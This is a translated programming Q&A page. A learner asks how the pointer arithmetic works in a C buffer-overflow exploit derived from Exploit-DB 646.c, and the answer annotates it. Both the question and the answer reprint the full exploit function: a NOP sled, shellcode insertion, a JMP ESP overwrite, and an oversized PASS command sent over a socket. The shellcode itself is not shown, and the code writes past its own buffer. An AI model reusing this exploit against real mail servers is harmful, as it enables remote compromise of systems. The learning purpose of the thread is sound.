c - 需要帮助理解指针算术以及如何访问信息

Question

我目前正在尝试教一只老狗一个新技巧，并且此时已经阅读了几本书，以便我能够更加熟悉简单的 C 代码。另外，我的任务是更加努力——在我理解这个练习之前，我不想在我的类(class) Material 中继续前进。在我寻找答案的过程中，我发现了这个很棒的网站，它已经帮助回答了很多问题；完全理解我绝对无法理解，我问是否有人可以帮助指出一些事情来确认我对以下代码中的指针算术和内存访问的理解(或缺乏)，该代码已从 646 修改.c 利用数据库中的利用。

void exploit(int sock) {
      FILE *test;
      int *ptr;//this is an unitialized pointer??
      char userbuf[] = "USER madivan\r\n";
      char evil[551];//allocating 551 bytes of memory
      char buf[3012];//allocating 3012 bytes of memory
      char receive[1024];
      char nopsled[] =  "\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90";
      memset(buf, 0x00, 3012);//zeroing out the buffer
      memset(evil, 0x00, 3001);//zeroing out the 'evil'
      memset(evil, 0x46, 551);//sets 551 bytes 
      ptr = &evil;//identify's the 'ptr' as &evil at that memory address?
      ptr = ptr + 657;  //adds 657 bytes to the 'ptr' @ &evil's    address
      memcpy(ptr, &nopsled, 16);//copies the pointers address             

             //divides by the nopsled and allows 16 bytes to be processed?
      ptr = ptr + 4;//at the previous lines memory address adds 4 bytes?

      memcpy(ptr, &shellcode, 317);this copies the memory address of the 

      // 'ptr' divides by the shellcode, then processes 317 bytes?
      *(long*)&evil[2610] = "\x8f\x35\x4a\x5f"; // 0x5f4a358f; // JMP ESP 
      //I have no idea how this line works.
      // banner
      recv(sock, receive, 1024, 0);
      printf("[+] %s", receive);
      // user
      printf("[+] Sending Username...\n");
      send(sock, userbuf, strlen(userbuf), 0);
      recv(sock, receive, 1024, 0);
      printf("[+] %s", receive);
      // passwd
      printf("[+] Sending Evil buffer...\n");
      sprintf(buf, "PASS %s\r\n", evil);
      //test = fopen("test.txt", "w");
      //fprintf(test, "%s", buf);
      //fclose(test);
      send(sock, buf, strlen(buf), 0);
      printf("[*] Done! Connect to the host on port 443...\n\n");
      }

我读过的两本书讨论了c代码的基本参数；非常感谢任何帮助我加深理解的帮助。感谢所有在这个社区内回复其他人的人，帮助清理和确定信息共享/存储/处理/访问的位置和方式。

干杯!

Answer 1

以下是一些描述代码功能的注释。如果没有具体的问题，您将很难得到具体的答案。

void exploit(int sock) {
    FILE *test;
    int *ptr;             // This is an unitialized pointer
    char userbuf[] = "USER madivan\r\n";
    char evil[551];       // Allocate 551 bytes of stack memory
    char buf[3012];       // Allocate 3012 bytes of stack memory
    char receive[1024];   // Allocate 1024 bytes of stack memory for 
                          // receiving data from the socket

    // Define an array of NOP instructions
    // These execute with no effect on the CPU
    char nopsled[] =  "\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90";

    // Zero out the buffer at address buf
    memset(buf, 0x00, 3012);

    // Zero out the buffer at address evil and an EXTRA 2450 bytes
    // clearing part of the stack frame
    memset(evil, 0x00, 3001);

    // Fills the evil buffer with 551 bytes of value 0x46
    memset(evil, 0x46, 551);

    // Sets ptr to the address of the evil buffer
    ptr = &evil;

    // Sets ptr to the address 657 words (2628 bytes) past the first
    // element of evil. ptr now points into previous stack frames
    ptr = ptr + 657;

    // Copies the NOP instructions to the memory location pointed to
    // by ptr (16 NOP instructions, 4 words)
    memcpy(ptr, &nopsled, 16);

    // Sets ptr to point to the memory location after the NOPs
    ptr = ptr + 4;

    // Copies 317 bytes from shellcode to the memory location pointed
    // to by ptr
    memcpy(ptr, &shellcode, 317);

    // Copies the instruction JMP ESP to the location 2610 bytes past
    // the first element of evil. This allows shellcode to be executed
    *(long*)&evil[2610] = "\x8f\x35\x4a\x5f";

    // Continue with the rest of the routine
    recv(sock, receive, 1024, 0);
    printf("[+] %s", receive);
    // user
    printf("[+] Sending Username...\n");
    send(sock, userbuf, strlen(userbuf), 0);
    recv(sock, receive, 1024, 0);
    printf("[+] %s", receive);
    // passwd
    printf("[+] Sending Evil buffer...\n");
    sprintf(buf, "PASS %s\r\n", evil);
    //test = fopen("test.txt", "w");
    //fprintf(test, "%s", buf);
    //fclose(test);
    send(sock, buf, strlen(buf), 0);
    printf("[*] Done! Connect to the host on port 443...\n\n");
}